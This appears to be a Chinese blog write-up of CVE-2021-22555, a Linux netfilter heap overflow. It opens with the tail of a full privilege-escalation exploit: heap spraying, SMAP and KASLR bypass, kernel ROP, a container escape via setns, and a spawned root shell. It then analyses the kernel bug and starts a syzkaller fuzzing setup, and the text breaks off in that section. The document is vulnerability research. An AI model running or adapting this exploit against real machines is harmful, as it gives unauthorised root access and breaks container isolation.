    perror("\[-\] sched\_setaffinity");  
    return -1;  
  }  
  
  return 0;  
}  
  
int main(int argc, char \*argv\[\]) {  
  int s;  
  int fd;  
  int ss\[NUM\_SOCKETS\]\[2\];  
  int pipefd\[NUM\_PIPEFDS\]\[2\];  
  int msqid\[NUM\_MSQIDS\];  
  
  char primary\_buf\[PRIMARY\_SIZE - SKB\_SHARED\_INFO\_SIZE\];  
  char secondary\_buf\[SECONDARY\_SIZE - SKB\_SHARED\_INFO\_SIZE\];  
  
  struct msg\_msg \*msg;  
  struct pipe\_buf\_operations \*ops;  
  struct pipe\_buffer \*buf;  
  
  uint64\_t pipe\_buffer\_ops = 0;  
  uint64\_t kheap\_addr = 0, kbase\_addr = 0;  
  
  int fake\_idx = -1, real\_idx = -1;  
  
  printf("\[+\] Linux Privilege Escalation by theflow@ - 2021\\n");  
  
  printf("\\n");  
  printf("\[+\] STAGE 0: Initialization\\n");  
  
  printf("\[\*\] Setting up namespace sandbox...\\n");  
  if (setup\_sandbox() < 0)  
    goto err\_no\_rmid;  
  
  printf("\[\*\] Initializing sockets and message queues...\\n");  
  
  if ((s = socket(AF\_INET, SOCK\_STREAM, 0)) < 0) {  
    perror("\[-\] socket");  
    goto err\_no\_rmid;  
  }  
  
  for (int i = 0; i < NUM\_SOCKETS; i++) {  
    if (socketpair(AF\_UNIX, SOCK\_STREAM, 0, ss\[i\]) < 0) {  
      perror("\[-\] socketpair");  
      goto err\_no\_rmid;  
    }  
  }  
  
  for (int i = 0; i < NUM\_MSQIDS; i++) {  
    if ((msqid\[i\] = msgget(IPC\_PRIVATE, IPC\_CREAT | 0666)) < 0) {  
      perror("\[-\] msgget");  
      goto err\_no\_rmid;  
    }  
  }  
  
  printf("\\n");  
  printf("\[+\] STAGE 1: Memory corruption\\n");  
  
  printf("\[\*\] Spraying primary messages...\\n");  
  for (int i = 0; i < NUM\_MSQIDS; i++) {  
    memset(&msg\_primary, 0, sizeof(msg\_primary));  
    \*(int \*)&msg\_primary.mtext\[0\] = MSG\_TAG;  
    \*(int \*)&msg\_primary.mtext\[4\] = i;  
    if (write\_msg(msqid\[i\], &msg\_primary, sizeof(msg\_primary), MTYPE\_PRIMARY) <  
        0)  
      goto err\_rmid;  
  }  
  
  printf("\[\*\] Spraying secondary messages...\\n");  
  for (int i = 0; i < NUM\_MSQIDS; i++) {  
    memset(&msg\_secondary, 0, sizeof(msg\_secondary));  
    \*(int \*)&msg\_secondary.mtext\[0\] = MSG\_TAG;  
    \*(int \*)&msg\_secondary.mtext\[4\] = i;  
    if (write\_msg(msqid\[i\], &msg\_secondary, sizeof(msg\_secondary),  
                  MTYPE\_SECONDARY) < 0)  
      goto err\_rmid;  
  }  
  
  printf("\[\*\] Creating holes in primary messages...\\n");  
  for (int i = HOLE\_STEP; i < NUM\_MSQIDS; i += HOLE\_STEP) {  
    if (read\_msg(msqid\[i\], &msg\_primary, sizeof(msg\_primary), MTYPE\_PRIMARY) <  
        0)  
      goto err\_rmid;  
  }  
  
  printf("\[\*\] Triggering out-of-bounds write...\\n");  
  if (trigger\_oob\_write(s) < 0)  
    goto err\_rmid;  
  
  printf("\[\*\] Searching for corrupted primary message...\\n");  
  for (int i = 0; i < NUM\_MSQIDS; i++) {  
    if (i != 0 && (i % HOLE\_STEP) == 0)  
      continue;  
    if (peek\_msg(msqid\[i\], &msg\_secondary, sizeof(msg\_secondary), 1) < 0)  
      goto err\_no\_rmid;  
    if (\*(int \*)&msg\_secondary.mtext\[0\] != MSG\_TAG) {  
      printf("\[-\] Error could not corrupt any primary message.\\n");  
      goto err\_no\_rmid;  
    }  
    if (\*(int \*)&msg\_secondary.mtext\[4\] != i) {  
      fake\_idx = i;  
      real\_idx = \*(int \*)&msg\_secondary.mtext\[4\];  
      break;  
    }  
  }  
  
  if (fake\_idx == -1 && real\_idx == -1) {  
    printf("\[-\] Error could not corrupt any primary message.\\n");  
    goto err\_no\_rmid;  
  }  
  
  // fake\_idx's primary message has a corrupted next pointer; wrongly  
  // pointing to real\_idx's secondary message.  
  printf("\[+\] fake\_idx: %x\\n", fake\_idx);  
  printf("\[+\] real\_idx: %x\\n", real\_idx);  
  
  printf("\\n");  
  printf("\[+\] STAGE 2: SMAP bypass\\n");  
  
  printf("\[\*\] Freeing real secondary message...\\n");  
  if (read\_msg(msqid\[real\_idx\], &msg\_secondary, sizeof(msg\_secondary),  
               MTYPE\_SECONDARY) < 0)  
    goto err\_rmid;  
  
  // Reclaim the previously freed secondary message with a fake msg\_msg of  
  // maximum possible size.  
  printf("\[\*\] Spraying fake secondary messages...\\n");  
  memset(secondary\_buf, 0, sizeof(secondary\_buf));  
  build\_msg\_msg((void \*)secondary\_buf, 0x41414141, 0x42424242,  
                PAGE\_SIZE - MSG\_MSG\_SIZE, 0);  
  if (spray\_skbuff(ss, secondary\_buf, sizeof(secondary\_buf)) < 0)  
    goto err\_rmid;  
  
  // Use the fake secondary message to read out-of-bounds.  
  printf("\[\*\] Leaking adjacent secondary message...\\n");  
  if (peek\_msg(msqid\[fake\_idx\], &msg\_fake, sizeof(msg\_fake), 1) < 0)  
    goto err\_rmid;  
  
  // Check if the leak is valid.  
  if (\*(int \*)&msg\_fake.mtext\[SECONDARY\_SIZE\] != MSG\_TAG) {  
    printf("\[-\] Error could not leak adjacent secondary message.\\n");  
    goto err\_rmid;  
  }  
  
  // The secondary message contains a pointer to the primary message.  
  msg = (struct msg\_msg \*)&msg\_fake.mtext\[SECONDARY\_SIZE - MSG\_MSG\_SIZE\];  
  kheap\_addr = msg->m\_list\_next;  
  if (kheap\_addr & (PRIMARY\_SIZE - 1))  
    kheap\_addr = msg->m\_list\_prev;  
  printf("\[+\] kheap\_addr: %" PRIx64 "\\n", kheap\_addr);  
  
  if ((kheap\_addr & 0xFFFF000000000000) != 0xFFFF000000000000) {  
    printf("\[-\] Error kernel heap address is incorrect.\\n");  
    goto err\_rmid;  
  }  
  
  printf("\[\*\] Freeing fake secondary messages...\\n");  
  free\_skbuff(ss, secondary\_buf, sizeof(secondary\_buf));  
  
  // Put kheap\_addr at next to leak its content. Assumes zero bytes before  
  // kheap\_addr.  
  printf("\[\*\] Spraying fake secondary messages...\\n");  
  memset(secondary\_buf, 0, sizeof(secondary\_buf));  
  build\_msg\_msg((void \*)secondary\_buf, 0x41414141, 0x42424242,  
                sizeof(msg\_fake.mtext), kheap\_addr - MSG\_MSGSEG\_SIZE);  
  if (spray\_skbuff(ss, secondary\_buf, sizeof(secondary\_buf)) < 0)  
    goto err\_rmid;  
  
  // Use the fake secondary message to read from kheap\_addr.  
  printf("\[\*\] Leaking primary message...\\n");  
  if (peek\_msg(msqid\[fake\_idx\], &msg\_fake, sizeof(msg\_fake), 1) < 0)  
    goto err\_rmid;  
  
  // Check if the leak is valid.  
  if (\*(int \*)&msg\_fake.mtext\[PAGE\_SIZE\] != MSG\_TAG) {  
    printf("\[-\] Error could not leak primary message.\\n");  
    goto err\_rmid;  
  }  
  
  // The primary message contains a pointer to the secondary message.  
  msg = (struct msg\_msg \*)&msg\_fake.mtext\[PAGE\_SIZE - MSG\_MSG\_SIZE\];  
  kheap\_addr = msg->m\_list\_next;  
  if (kheap\_addr & (SECONDARY\_SIZE - 1))  
    kheap\_addr = msg->m\_list\_prev;  
  
  // Calculate the address of the fake secondary message.  
  kheap\_addr -= SECONDARY\_SIZE;  
  printf("\[+\] kheap\_addr: %" PRIx64 "\\n", kheap\_addr);  
  
  if ((kheap\_addr & 0xFFFF00000000FFFF) != 0xFFFF000000000000) {  
    printf("\[-\] Error kernel heap address is incorrect.\\n");  
    goto err\_rmid;  
  }  
  
  printf("\\n");  
  printf("\[+\] STAGE 3: KASLR bypass\\n");  
  
  printf("\[\*\] Freeing fake secondary messages...\\n");  
  free\_skbuff(ss, secondary\_buf, sizeof(secondary\_buf));  
  
  // Put kheap\_addr at m\_list\_next & m\_list\_prev so that list\_del() is possible.  
  printf("\[\*\] Spraying fake secondary messages...\\n");  
  memset(secondary\_buf, 0, sizeof(secondary\_buf));  
  build\_msg\_msg((void \*)secondary\_buf, kheap\_addr, kheap\_addr, 0, 0);  
  if (spray\_skbuff(ss, secondary\_buf, sizeof(secondary\_buf)) < 0)  
    goto err\_rmid;  
  
  printf("\[\*\] Freeing sk\_buff data buffer...\\n");  
  if (read\_msg(msqid\[fake\_idx\], &msg\_fake, sizeof(msg\_fake), MTYPE\_FAKE) < 0)  
    goto err\_rmid;  
  
  printf("\[\*\] Spraying pipe\_buffer objects...\\n");  
  for (int i = 0; i < NUM\_PIPEFDS; i++) {  
    if (pipe(pipefd\[i\]) < 0) {  
      perror("\[-\] pipe");  
      goto err\_rmid;  
    }  
    // Write something to populate pipe\_buffer.  
    if (write(pipefd\[i\]\[1\], "pwn", 3) < 0) {  
      perror("\[-\] write");  
      goto err\_rmid;  
    }  
  }  
  
  printf("\[\*\] Leaking and freeing pipe\_buffer object...\\n");  
  for (int i = 0; i < NUM\_SOCKETS; i++) {  
    for (int j = 0; j < NUM\_SKBUFFS; j++) {  
      if (read(ss\[i\]\[1\], secondary\_buf, sizeof(secondary\_buf)) < 0) {  
        perror("\[-\] read");  
        goto err\_rmid;  
      }  
      if (\*(uint64\_t \*)&secondary\_buf\[0x10\] != MTYPE\_FAKE)  
        pipe\_buffer\_ops = \*(uint64\_t \*)&secondary\_buf\[0x10\];  
    }  
  }  
  
  kbase\_addr = pipe\_buffer\_ops - ANON\_PIPE\_BUF\_OPS;  
  printf("\[+\] anon\_pipe\_buf\_ops: %" PRIx64 "\\n", pipe\_buffer\_ops);  
  printf("\[+\] kbase\_addr: %" PRIx64 "\\n", kbase\_addr);  
  
  if ((kbase\_addr & 0xFFFF0000000FFFFF) != 0xFFFF000000000000) {  
    printf("\[-\] Error kernel base address is incorrect.\\n");  
    goto err\_rmid;  
  }  
  
  printf("\\n");  
  printf("\[+\] STAGE 4: Kernel code execution\\n");  
  
  printf("\[\*\] Spraying fake pipe\_buffer objects...\\n");  
  memset(secondary\_buf, 0, sizeof(secondary\_buf));  
  buf = (struct pipe\_buffer \*)&secondary\_buf;  
  buf->ops = kheap\_addr + 0x290;  
  ops = (struct pipe\_buf\_operations \*)&secondary\_buf\[0x290\];  
#ifdef KERNEL\_COS\_5\_4\_89  
  // RAX points to &buf->ops.  
  // RCX points to &buf.  
  ops->release = kbase\_addr + PUSH\_RAX\_JMP\_QWORD\_PTR\_RCX;  
#elif KERNEL\_UBUNTU\_5\_8\_0\_48  
  // RSI points to &buf.  
  ops->release = kbase\_addr + PUSH\_RSI\_JMP\_QWORD\_PTR\_RSI\_39;  
#endif  
  build\_krop(secondary\_buf, kbase\_addr, kheap\_addr + 0x2B0);  
  if (spray\_skbuff(ss, secondary\_buf, sizeof(secondary\_buf)) < 0)  
    goto err\_rmid;  
  
  // Trigger pipe\_release().  
  printf("\[\*\] Releasing pipe\_buffer objects...\\n");  
  for (int i = 0; i < NUM\_PIPEFDS; i++) {  
    if (close(pipefd\[i\]\[0\]) < 0) {  
      perror("\[-\] close");  
      goto err\_rmid;  
    }  
    if (close(pipefd\[i\]\[1\]) < 0) {  
      perror("\[-\] close");  
      goto err\_rmid;  
    }  
  }  
  
  printf("\[\*\] Checking for root...\\n");  
  if ((fd = open("/etc/shadow", O\_RDONLY)) < 0) {  
    printf("\[-\] Error could not gain root privileges.\\n");  
    goto err\_rmid;  
  }  
  close(fd);  
  printf("\[+\] Root privileges gained.\\n");  
  
  printf("\\n");  
  printf("\[+\] STAGE 5: Post-exploitation\\n");  
  
  printf("\[\*\] Escaping container...\\n");  
  setns(open("/proc/1/ns/mnt", O\_RDONLY), 0);  
  setns(open("/proc/1/ns/pid", O\_RDONLY), 0);  
  setns(open("/proc/1/ns/net", O\_RDONLY), 0);  
  
  printf("\[\*\] Cleaning up...\\n");  
  for (int i = 0; i < NUM\_MSQIDS; i++) {  
    // TODO: Fix next pointer.  
    if (i == fake\_idx)  
      continue;  
    if (msgctl(msqid\[i\], IPC\_RMID, NULL) < 0)  
      perror("\[-\] msgctl");  
  }  
  for (int i = 0; i < NUM\_SOCKETS; i++) {  
    if (close(ss\[i\]\[0\]) < 0)  
      perror("\[-\] close");  
    if (close(ss\[i\]\[1\]) < 0)  
      perror("\[-\] close");  
  }  
  if (close(s) < 0)  
    perror("\[-\] close");  
  
  printf("\[\*\] Popping root shell...\\n");  
  char \*args\[\] = {"/bin/bash", "-i", NULL};  
  execve(args\[0\], args, NULL);  
  
  return 0;  
  
err\_rmid:  
  for (int i = 0; i < NUM\_MSQIDS; i++) {  
    if (i == fake\_idx)  
      continue;  
    if (msgctl(msqid\[i\], IPC\_RMID, NULL) < 0)  
      perror("\[-\] msgctl");  
  }  
  
err\_no\_rmid:  
  return 1;  
}

编译命令如下:

gcc poc.c -m32 -o poc

对于exp的解读以及漏洞成因的分析

#define NUM\_MSQIDS 4096  
  
for (int i = 0; i < NUM\_MSQIDS; i++) {  
  if ((msqid\[i\] = msgget(IPC\_PRIVATE, IPC\_CREAT | 0666)) < 0) {  
    perror("\[-\] msgget");  
    goto err\_no\_rmid;  
  }  
}

此处申请了4096个消息队列主要是为了堆喷的稳定和利用的稳定(后面会提),一般来说,堆喷的利用文章都会提到喷得越多,利用越稳定,可是很少提及为什么越多越稳定,此处我认为可以引用CTFwiki(https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/heap/slub/uaf/#\_1)上的介绍内容,内核代码很有可能在不同CPU核心上运行,而slub算法(https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/heap/heap\_overview/#slab-allocator)在不同核心上分配的内存也是不一样的,假设喷得不够多的情况下,exp在堆喷的时候用的是CPU0,而后面利用时却跑到了CPU1,就会导致利用失败。

int setup\_sandbox(void) {  
  if (unshare(CLONE\_NEWUSER) < 0) {  
    perror("\[-\] unshare(CLONE\_NEWUSER)");  
    return -1;  
  }  
  if (unshare(CLONE\_NEWNET) < 0) {  
    perror("\[-\] unshare(CLONE\_NEWNET)");  
    return -1;  
  }  
  
  cpu\_set\_t set;  
  CPU\_ZERO(&set);  
  CPU\_SET(0, &set);  
  if (sched\_setaffinity(getpid(), sizeof(set), &set) < 0) {  
    perror("\[-\] sched\_setaffinity");  
    return -1;  
  }  
  
  return 0;  
}  
  
printf("\[\*\] Setting up namespace sandbox...\\n");  
if (setup\_sandbox() < 0)  
  goto err\_no\_rmid;

main函数开头的这一段也是为了将进程绑定到固定核心上,以提高堆喷稳定性。

接下来需要创建对应的主消息和辅助消息并向其中填充数据。

int write\_msg(int msqid, const void \*msgp, size\_t msgsz, long msgtyp) {  
  \*(long \*)msgp = msgtyp;  
  if (msgsnd(msqid, msgp, msgsz - sizeof(long), 0) < 0) {  
    perror("\[-\] msgsnd");  
    return -1;  
  }  
  return 0;  
}  
  
printf("\[\*\] Spraying primary messages...\\n");  
for (int i = 0; i < NUM\_MSQIDS; i++) {  
  memset(&msg\_primary, 0, sizeof(msg\_primary));  
  \*(int \*)&msg\_primary.mtext\[0\] = MSG\_TAG;  
  \*(int \*)&msg\_primary.mtext\[4\] = i;  
  if (write\_msg(msqid\[i\], &msg\_primary, sizeof(msg\_primary), MTYPE\_PRIMARY) < 0)  
    goto err\_rmid;  
}  
  
printf("\[\*\] Spraying secondary messages...\\n");  
for (int i = 0; i < NUM\_MSQIDS; i++) {  
  memset(&msg\_secondary, 0, sizeof(msg\_secondary));  
  \*(int \*)&msg\_secondary.mtext\[0\] = MSG\_TAG;  
  \*(int \*)&msg\_secondary.mtext\[4\] = i;  
  if (write\_msg(msqid\[i\], &msg\_secondary, sizeof(msg\_secondary),  
MTYPE\_SECONDARY) < 0)  
    goto err\_rmid;  
}

mtext[0]=MSG_TAG用于标识某段区域的作用是否为堆喷

mtext[4]=i用于标识内存区id

此时的消息队列排列应该如下图所示:

此处采用了官方文档(https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html)的图片(主要是我找不到好的画图软件)。

int read\_msg(int msqid, void \*msgp, size\_t msgsz, long msgtyp) {  
  if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, 0) < 0) {  
    perror("\[-\] msgrcv");  
    return -1;  
  }  
  return 0;  
}  
  
printf("\[\*\] Creating holes in primary messages...\\n");  
for (int i = HOLE\_STEP; i < NUM\_MSQIDS; i += HOLE\_STEP) {  
  if (read\_msg(msqid\[i\], &msg\_primary, sizeof(msg\_primary), MTYPE\_PRIMARY) < 0)  
      goto err\_rmid;  
}

紧接着是释放部分主消息,事实上只释放了三个主消息,1024、2048、3072。

int trigger\_oob\_write(int s) {  
  struct \_\_attribute\_\_((\_\_packed\_\_)) {  
    struct ipt\_replace replace;  
    struct ipt\_entry entry;  
    struct xt\_entry\_match match;  
    char pad\[0x108 + PRIMARY\_SIZE - 0x200 - 0x2\];  
    struct xt\_entry\_target target;  
  } data = {0};  
  
  data.replace.num\_counters = 1;  
  data.replace.num\_entries = 1;  
  data.replace.size = (sizeof(data.entry) + sizeof(data.match) +  
                       sizeof(data.pad) + sizeof(data.target));  
  
  data.entry.next\_offset = (sizeof(data.entry) + sizeof(data.match) +  
                            sizeof(data.pad) + sizeof(data.target));  
  data.entry.target\_offset =  
      (sizeof(data.entry) + sizeof(data.match) + sizeof(data.pad));  
  
  data.match.u.user.match\_size = (sizeof(data.match) + sizeof(data.pad));  
  strcpy(data.match.u.user.name, "icmp");  
  data.match.u.user.revision = 0;  
  
  data.target.u.user.target\_size = sizeof(data.target);  
  strcpy(data.target.u.user.name, "NFQUEUE");  
  data.target.u.user.revision = 1;  
  
  // Partially overwrite the adjacent buffer with 2 bytes of zero.  
  if (setsockopt(s, SOL\_IP, IPT\_SO\_SET\_REPLACE, &data, sizeof(data)) != 0) {  
    if (errno == ENOPROTOOPT) {  
      printf("\[-\] Error ip\_tables module is not loaded.\\n");  
      return -1;  
    }  
  }  
  return 0;  
}  
  
printf("\[\*\] Triggering out-of-bounds write...\\n");  
if (trigger\_oob\_write(s) < 0)  
  goto err\_rmid;

调用setsockopt(IPT_SO_SET_REPLACE)会直接触发两字节溢出写0,之前连续申请了4096个消息队列也是为了能让消息队列所在的内存是连续的,其实最重要的是能让辅助消息队列所在的内存是连续的,因为触发的是两字节写0,也就是说主消息对应的辅助消息如果原本内存地址不为0的情况下,触发漏洞过后,会有两个主消息指向同一个辅助消息,也就是从上面的图变成了下图:

有些教程(https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html)认为在触发漏洞时,中间还有个如下图所示的状态:

从漏洞原理以及触发条件来看,我认为这种状态并不需要特别注意,在调用setsockopt函数时,内核中确实是先创建了xt_table_info,然后在八字节对齐时产生两字节溢出,但是从用户态看来,调用完setsockopt函数后就直接发生了溢出;总之,这种中间状态存在时间非常短,可以忽略不计,但对理解漏洞形成流程还是有帮助的。

至此,我们已经触发了这个漏洞,根据之前所做的内容来看,触发漏洞更需要几个条件;首先需要将代码编译成32位程序,并且在64位系统上运行;其次需要编译x_tables和ip6_tables这两个内核模块,最后需要在调用setsockopt时加上一些特别的字段;32位系统调用setsockopt(IPT_SO_SET_REPLACE)函数最终会走到内核的 __compat_sys_setsockopt 函数中,这点也可以从之前kasan的输出信息中看到。

\[ 1185.206655\]  \_\_compat\_sys\_setsockopt+0x139/0x330

关于setsockopt的内核调用流程(https://arttnba3.cn/2022/04/01/CVE-0X07-CVE-2021-22555/#32-%E4%BD%8D%E4%B8%8B%E7%9A%84-setsockopt-%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8)十分复杂,且与漏洞原理本身无关(适当的了解还是有必要的,可以加深对Linux内核的理解),所以就直接从漏洞点来分析。

\[ 1185.205993\] BUG: KASAN: slab-out-of-bounds in xt\_compat\_target\_from\_user+0x20a/0x4c0 \[x\_tables\]  
\[ 1185.206433\]  compat\_do\_replace.isra.0+0x160/0x380 \[ip6\_tables\]

漏洞点实际是从compat_do_replace函数开始便存在了,并在xt_compat_target_from_user函数中被触发。

先看一下compat_do_replace函数代码。(https://elixir.bootlin.com/linux/v5.8.1/source/net/ipv6/netfilter/ip6\_tables.c#L1498)

static int  
compat\_do\_replace(struct net \*net, void \_\_user \*user, unsigned int len)  
{  
    int ret;  
    struct compat\_ip6t\_replace tmp;  
    struct xt\_table\_info \*newinfo;  
    void \*loc\_cpu\_entry;  
    struct ip6t\_entry \*iter;  
  
    if (copy\_from\_user(&tmp, user, sizeof(tmp)) != 0)  
        return -EFAULT;  
  
    /\* overflow check \*/  
    if (tmp.num\_counters >= INT\_MAX / sizeof(struct xt\_counters))  
        return -ENOMEM;  
    if (tmp.num\_counters == 0)  
        return -EINVAL;  
  
    tmp.name\[sizeof(tmp.name)-1\] = 0;  
  
    newinfo = xt\_alloc\_table\_info(tmp.size);  
    if (!newinfo)  
        return -ENOMEM;  
  
    loc\_cpu\_entry = newinfo->entries;  
    if (copy\_from\_user(loc\_cpu\_entry, user + sizeof(tmp),  
               tmp.size) != 0) {  
        ret = -EFAULT;  
        goto free\_newinfo;  
    }  
  
    ret = translate\_compat\_table(net, &newinfo, &loc\_cpu\_entry, &tmp);  
    if (ret != 0)  
        goto free\_newinfo;  
  
    ret = \_\_do\_replace(net, tmp.name, tmp.valid\_hooks, newinfo,  
               tmp.num\_counters, compat\_ptr(tmp.counters));  
    if (ret)  
        goto free\_newinfo\_untrans;  
    return 0;  
  
 free\_newinfo\_untrans:  
    xt\_entry\_foreach(iter, loc\_cpu\_entry, newinfo->size)  
        cleanup\_entry(iter, net);  
 free\_newinfo:  
    xt\_free\_table\_info(newinfo);  
    return ret;  
}

从上面trigger_oob_write函数中的漏洞触发代码来看,struct compat_ip6t_replace tmp 对应着 struct ip6t_replace replace。

struct xt\_table\_info \*xt\_alloc\_table\_info(unsigned int size)  
{  
    struct xt\_table\_info \*info = NULL;  
    size\_t sz = sizeof(\*info) + size;  
  
    if (sz < sizeof(\*info) || sz >= XT\_MAX\_TABLE\_SIZE)  
        return NULL;  
  
    info = kvmalloc(sz, GFP\_KERNEL\_ACCOUNT);  
    if (!info)  
        return NULL;  
  
    memset(info, 0, sizeof(\*info));  
    info->size = size;  
    return info;  
}  
EXPORT\_SYMBOL(xt\_alloc\_table\_info);

注意此处的kvmalloc,这与漏洞产生原因有关,后面会提到。

而newinfo则是xt_table_info头加如下一堆结构体。

struct ipt\_entry entry;  
struct xt\_entry\_match match;  
char pad\[0x108 + PRIMARY\_SIZE - 0x200 - 0x2\];  
struct xt\_entry\_target target;

最后在调用translate_compat_table函数时给的&loc_cpu_entry指针则是指向xt_table_info结构体里的可变长度结构体entries。

/\* The table itself \*/  
struct xt\_table\_info {  
    /\* Size per table \*/  
    unsigned int size;  
    /\* Number of entries: FIXME. --RR \*/  
    unsigned int number;  
    /\* Initial number of entries. Needed for module usage count \*/  
    unsigned int initial\_entries;  
  
    /\* Entry points and underflows \*/  
    unsigned int hook\_entry\[NF\_INET\_NUMHOOKS\];  
    unsigned int underflow\[NF\_INET\_NUMHOOKS\];  
  
    /\*  
     \* Number of user chains. Since tables cannot have loops, at most  
     \* @stacksize jumps (number of user chains) can possibly be made.  
     \*/  
    unsigned int stacksize;  
    void \*\*\*jumpstack;  
  
    unsigned char entries\[\] \_\_aligned(8);  
};
static int  
translate\_compat\_table(struct net \*net,  
               struct xt\_table\_info \*\*pinfo,  
               void \*\*pentry0,  
               const struct compat\_ip6t\_replace \*compatr)  
{  
    unsigned int i, j;  
    struct xt\_table\_info \*newinfo, \*info;  
    void \*pos, \*entry0, \*entry1;  
    struct compat\_ip6t\_entry \*iter0;  
    struct ip6t\_replace repl;  
    unsigned int size;  
    int ret;  
  
    info = \*pinfo;  
    entry0 = \*pentry0;  
    size = compatr->size;  
    info->number = compatr->num\_entries;  
  
    j = 0;  
    xt\_compat\_lock(AF\_INET6);  
    ret = xt\_compat\_init\_offsets(AF\_INET6, compatr->num\_entries);  
    if (ret)  
        goto out\_unlock;  
    /\* Walk through entries, checking offsets. \*/  
    xt\_entry\_foreach(iter0, entry0, compatr->size) {  
        ret = check\_compat\_entry\_size\_and\_hooks(iter0, info, &size,  
                            entry0,  
                            entry0 + compatr->size);  
        if (ret != 0)  
            goto out\_unlock;  
        ++j;  
    }  
  
    ret = -EINVAL;  
    if (j != compatr->num\_entries)  
        goto out\_unlock;  
  
    ret = -ENOMEM;  
    newinfo = xt\_alloc\_table\_info(size);  
    if (!newinfo)  
        goto out\_unlock;  
  
    newinfo->number = compatr->num\_entries;  
    for (i = 0; i < NF\_INET\_NUMHOOKS; i++) {  
        newinfo->hook\_entry\[i\] = compatr->hook\_entry\[i\];  
        newinfo->underflow\[i\] = compatr->underflow\[i\];  
    }  
    entry1 = newinfo->entries;  
    pos = entry1;  
    size = compatr->size;  
    xt\_entry\_foreach(iter0, entry0, compatr->size)  
        compat\_copy\_entry\_from\_user(iter0, &pos, &size,  
                        newinfo, entry1);  
  
    /\* all module references in entry0 are now gone. \*/  
    xt\_compat\_flush\_offsets(AF\_INET6);  
    xt\_compat\_unlock(AF\_INET6);  
  
    memcpy(&repl, compatr, sizeof(\*compatr));  
  
    for (i = 0; i < NF\_INET\_NUMHOOKS; i++) {  
        repl.hook\_entry\[i\] = newinfo->hook\_entry\[i\];  
        repl.underflow\[i\] = newinfo->underflow\[i\];  
    }  
  
    repl.num\_counters = 0;  
    repl.counters = NULL;  
    repl.size = newinfo->size;  
    ret = translate\_table(net, newinfo, entry1, &repl);  
    if (ret)  
        goto free\_newinfo;  
  
    \*pinfo = newinfo;  
    \*pentry0 = entry1;  
    xt\_free\_table\_info(info);  
    return 0;  
  
free\_newinfo:  
    xt\_free\_table\_info(newinfo);  
    return ret;  
out\_unlock:  
    xt\_compat\_flush\_offsets(AF\_INET6);  
    xt\_compat\_unlock(AF\_INET6);  
    xt\_entry\_foreach(iter0, entry0, compatr->size) {  
        if (j-- == 0)  
            break;  
        compat\_release\_entry(iter0);  
    }  
    return ret;  
}

简单的形容translate_compat_table函数的作用就是将32位的结构体传到entry0中,然后申请一个和entry0同样大小的entry1  64位结构体,然后将entry0赋值给entry1(注意,此时entry0中的内容不做修改,只是从32位转到了64位而已),到此为止KASAN的信息就不全了,此处的调用链+应该是 translate_compat_table -> compat_copy_entry_from_user -> xt_compat_target_from_user,中间的函数不怎么重要,主要就是参数传递的过程,重要的是xt_compat_target_from_user函数。

void xt\_compat\_target\_from\_user(struct xt\_entry\_target \*t, void \*\*dstptr,  
                unsigned int \*size)  
{  
    const struct xt\_target \*target = t->u.kernel.target;  
    struct compat\_xt\_entry\_target \*ct = (struct compat\_xt\_entry\_target \*)t;  
    int pad, off = xt\_compat\_target\_offset(target);  
    u\_int16\_t tsize = ct->u.user.target\_size;  
    char name\[sizeof(t->u.user.name)\];  
  
    t = \*dstptr;  
    memcpy(t, ct, sizeof(\*ct));  
    if (target->compat\_from\_user)  
        target->compat\_from\_user(t->data, ct->data);  
    else  
        memcpy(t->data, ct->data, tsize - sizeof(\*ct));  
    pad = XT\_ALIGN(target->targetsize) - target->targetsize;  
    if (pad > 0)  
        memset(t->data + target->targetsize, 0, pad);  
  
    tsize += off;  
    t->u.user.target\_size = tsize;  
    strlcpy(name, target->name, sizeof(name));  
    module\_put(target->me);  
    strncpy(t->u.user.name, name, sizeof(t->u.user.name));  
  
    \*size += off;  
    \*dstptr += tsize;  
}

此处需要注意pad变量,在赋值时,代码作者想要进行8字节对齐,但是在上面xt_alloc_table_info函数在申请内存时,并没有进行8字节对齐,这意味着在memset置零的时候可能会将0写到下一个堆块中(溢出后产生的效果可以参考上面的图片)。

此时漏洞形成的大致原理就已经清楚了,在64位系统中执行32位的含有socket的代码(漏洞触发代码参考trigger_oob_write函数),所以要想通过syzkaller来检测到此漏洞,就需要使用64位的内核来运行32位的样本。

模糊测试

系统配置

需要开启CPU虚拟化

8G内存(内存需要尽可能大)

40G硬盘(看网上说的,应该够用)

前置工作

安装一些依赖包

apt-get install dwarves debootstrap make gcc flex bison libncurses-dev libelf-dev libssl-dev g++ git g++-multilib

根据GitHub(https://github.com/google/syzkaller/issues/760)上给出的错误修改提示和一些必须的配置修改.config文件。

\# Coverage collection.  
CONFIG\_KCOV=y  
  
\# Debug info for symbolization.  
CONFIG\_DEBUG\_INFO\_DWARF4=y  
  
\# Memory bug detector  
CONFIG\_KASAN=y  
CONFIG\_KASAN\_INLINE=y  
  
\# Required for Debian Stretch and later  
CONFIG\_CONFIGFS\_FS=y  
CONFIG\_SECURITYFS=y  
  
CONFIG\_CMDLINE\_BOOL=y  
CONFIG\_CMDLINE="net.ifnames=0"  
  
CONFIG\_BINFMT\_MISC=y  
CONFIG\_FRAME\_WARN=4096  
CONFIG\_SYSTEM\_TRUSTED\_KEYS=""  
CONFIG\_E1000=y  
CONFIG\_IP6\_NF\_IPTABLES=y

还有一些代码需要修改。将/include/linux/compiler.h头文件第392行注释掉,这个错误不知道为什么会被触发,我看了更新版本的内核,这行还是在的,可能是我机器的玄学问题。

//\_compiletime\_assert(condition, msg, \_\_compiletime\_assert\_, \_\_COUNTER\_\_)

修改/tools/objtool/elf.c中第356行的if判断,直接改为return 0,这个问题是根据GitHub(https://github.com/torvalds/linux/commit/1d489151e9f9d1647110277ff77282fe4d96d09b.patch)上的patch代码修改的,事实上新版本的内核也直接改为return 0了。

if (!symtab) {  
    //WARN("missing symbol table");  
    //return -1;  
    return 0;  
}

以上需要修改的源码内容是在Ubuntu22.04上编译5.8.1内核的时候必要的修改,如果使用的是20.04则不需要对源码做修改,只需要修改.config文件就可以了。

然后需要修改一下syzkaller的源码内容。

此处需要找到qemu.go文件,将如下内容:

"linux/386": {  
        Qemu:   "qemu-system-i386",  
        NetDev: "e1000",  
        RngDev: "virtio-rng-pci",  
        CmdLine: \[\]string{  
                "root=/dev/sda",  
